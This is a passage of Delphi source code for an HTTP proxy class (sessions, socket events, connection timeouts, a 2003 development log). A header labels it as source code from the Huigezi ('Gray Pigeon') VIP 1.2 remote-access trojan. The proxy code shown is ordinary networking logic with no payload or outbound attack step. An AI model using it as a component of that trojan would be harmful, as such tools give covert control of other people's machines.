httpproxy.pas

灰鸽子VIP1.2经典源代码

var
  I: Integer;
begin
  New(Result);
  for I := 0 to SessionCount - 1 do
    if SessionRecs[I].csRemoteClient.Socket.SocketHandle = ASocketHandle then
    begin
      Result := @SessionRecs[I];
      Exit;
    end;
end;

{
  从会话中的客户端 SocketHandle 获得相应的客户端 Socket
}
function TProxy.GetClientFromHandle(const ASocketHandle: Integer): TCustomWinSocket;
var
  I: Integer;
begin
  Result := nil;
  with FProxyServer.Socket do for I := 0 to ActiveConnections do
    if Connections[I].SocketHandle = ASocketHandle then
    begin
      Result := Connections[I];
      Exit;
    end;
end;

{
  远程客户端发送数据。
}
procedure TProxy.FRemoteClientWrite(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  AddMessage('Send message to remote' + IntToStr(Socket.SocketHandle));
  with GetSessionRemote(Socket.SocketHandle)^ do
    if IsClientRequesting then
    begin
      csRemoteClient.Socket.SendText(RequestString);
      IsClientRequesting := False;
    end;
end;

{
  功能：根据客户端的 Socket 获取相应的会话。
  参数：ASocket - 客户端的 Socket
  返回值：对应客户端 Socket 的会话。
}
function TProxy.GetSessionClient(const ASocket: TCustomWinSocket): PSessionRec;
var
  I: Integer;
begin
  New(Result);
  for I := 0 to SessionCount - 1 do
    if SessionRecs[I].ClientSocketHandle = ASocket.SocketHandle then
    begin
      Result := @SessionRecs[I];
      Exit;
    end;
end;

{
  当客户端断开连接时，改变相应的会话的状态。
}
procedure TProxy.EndSessionClient(const ASocket: TCustomWinSocket);
begin
  with GetSessionClient(ASocket)^ do
  begin
    ClientConnected := False;
    if not RemoteConnected then
      Used := False
    else csRemoteClient.Active := False;
  end;
end;

{
  客户端断开连接
}
procedure TProxy.FProxyServerClientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  AddMessage('Client disconnected. ' + IntToStr(Socket.SocketHandle));
  EndSessionClient(Socket);
end;

procedure TProxy.EndSessionRemote(const ASocket: TCustomWinSocket);
begin
  with GetSessionRemote(ASocket.SocketHandle)^ do
  begin
    RemoteConnected := False;
    if not ClientConnected then Used := False
    else GetClientFromHandle(ClientSocketHandle).Close;
  end;
end;

{
  远程客户端断开到目标主机的连接
}
procedure TProxy.FRemoteClientDisconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  AddMessage('Remote disconnected.' + IntToStr(Socket.SocketHandle));
  EndSessionRemote(Socket);
end;

{
  远程客户端产生错误
}
procedure TProxy.FRemoteClientError(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
  AddMessage('Remote error!' + IntToStr(Socket.SocketHandle));
  EndSessionRemote(Socket);
end;

{
  显示消息
}
procedure TProxy.AddMessage(const Msg: String);
begin
  FOutPut.Add(Msg);
end;

{
  初始化代理服务器
}
constructor TProxy.Create;
  procedure InitProxyServer;
  begin
    with FProxyServer do
    begin
      OnClientConnect := FProxyServerClientConnect;
      OnClientDisconnect := FProxyServerClientDisconnect;
      OnClientRead := FProxyServerClientRead;
      OnListen := FProxyServerListen;
    end;
  end;

  procedure InitLookupTimer;
  begin
    with FLookupTimer do
    begin
      Interval := 200;
      Enabled := False;
      OnTimer := FLookupTimerTimer;
    end;
  end;
begin
  FPort := 5555;
  FProxyServer := TServerSocket.Create(nil);
  InitProxyServer;
  FLookupTimeLimite := 15000;
  FLookupTimeLimited := False;
  FLookupTimer := TTimer.Create(nil);
  InitLookupTimer;
end;

destructor TProxy.Destroy;
begin
  FLookupTimer.Free;
  FProxyServer.Free;
  inherited;
end;

procedure TProxy.StopServer;
begin
  FLookupTimer.Enabled := False;
  FProxyServer.Active := False;
end;

procedure TProxy.StartServer;
begin
  FProxyServer.Port := FPort;
  FProxyServer.Active := True;
end;

procedure TProxy.SetPort(const Value: Integer);
begin
  if FProxyServer.Active then
  begin
    MessageBox(0, '代理服务器在运行时不能改变端口。',
      '要改变端口，请先关闭代理服务器', 0);
    Exit;
  end;
  FPort := Value;
end;

procedure TProxy.FLookupTimerTimer(Sender: TObject);
var
  I: Integer;
begin
  for I := 0 to SessionCount - 1 do with SessionRecs[I] do
  begin
    if Lookingup then
    begin
      Inc(LookupTime, FLookupTimer.Interval);
      if LookupTime > FLookupTimeLimite then       // 连接超时，断开连接
      begin
        csRemoteClient.Active := False;
        // GetClientFromHandle(ClientSocketHandle).Close;
      end;
    end;
  end;
end;

procedure TProxy.FProxyServerListen(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  if FLookupTimeLimited and not FLookupTimer.Enabled then
    FLookupTimer.Enabled := True;
end;

procedure TProxy.SetLookupTimeLimit(const Value: Integer);
begin
  FLookupTimeLimite := Value;
end;

procedure TProxy.SetLookupTimeLimited(const Value: Boolean);
begin
  FLookupTimeLimited := Value;
  if not FLookupTimeLimited then
    FLookupTimer.Enabled := False
  else if not FLookupTimer.Enabled then FLookupTimer.Enabled := True;
end;

{
History:
    2003-05-12(0.01): 能通过该服务器连接到 www.google.com，但是连接到 www.delphibbs.com
      等网站时出错。
    2003-05-12(0.02): 基本功能可以实现了(后来发现在远程客户端断开连接时没有
      相应的断开客户端的连接，造成很多网站不能访问。)
    2003-05-13(0.03): 从原来的代码中提取出 TProxy 类。放在另外一个单元中
      Proxy003. 由于无法连接到网上，不能测试代理服务器。在内部的邮件服务器，
      上面测试成功。到此为止，代理的最基本功能具备。
    2003-05-13(0.04): 增加连接时间控制，在 TSessionRec 中增加 FLookupTime，
      在 TProxy 中增加计时器 FLookupTimer，和时间限制 FLookupTimeLimite，
      FLookupTimeLimited 并写相应的事件处理。
    2003-05-13(0.05): 准备加入客户端访问控制，根据客户端的 IP ，决定是否有权
      使用服务器。

  Problems:
    2003-05-12(0.02): [连接] 连接的断开处理疑问。比如客户端断开连接时，不知
      道是否该将远程客户端却断开，反过来也不知道是否合理。还有就是未确定
      什么时候可以将该会话重新分配。
    2003-05-12(0.02): [资源释放] 远程客户端对象总是没有释放。

  Solutions:
    2003-05-12(0.02): [连接] 客户端断开连接，检查远程客户端是否连接着，是
      则断开连接，否则可以将该会话重新分配；反过来也这样。结果是可以打开
      www.playicq.com，不过在 index.php 时 AV. 后来发现是在某个地方总在使用
      SessionRecs[0]，而没有首先查找对应的会话。问题解决。
      2003-05-13(0.03): [连接] 果然，把连接的问题解决了之后，就能比较正常
      的工作。
    2003-05-12(0.03): [资源释放] 在创建远程客户端对象时，如果已经赋过值则
      先释放掉。
}
end.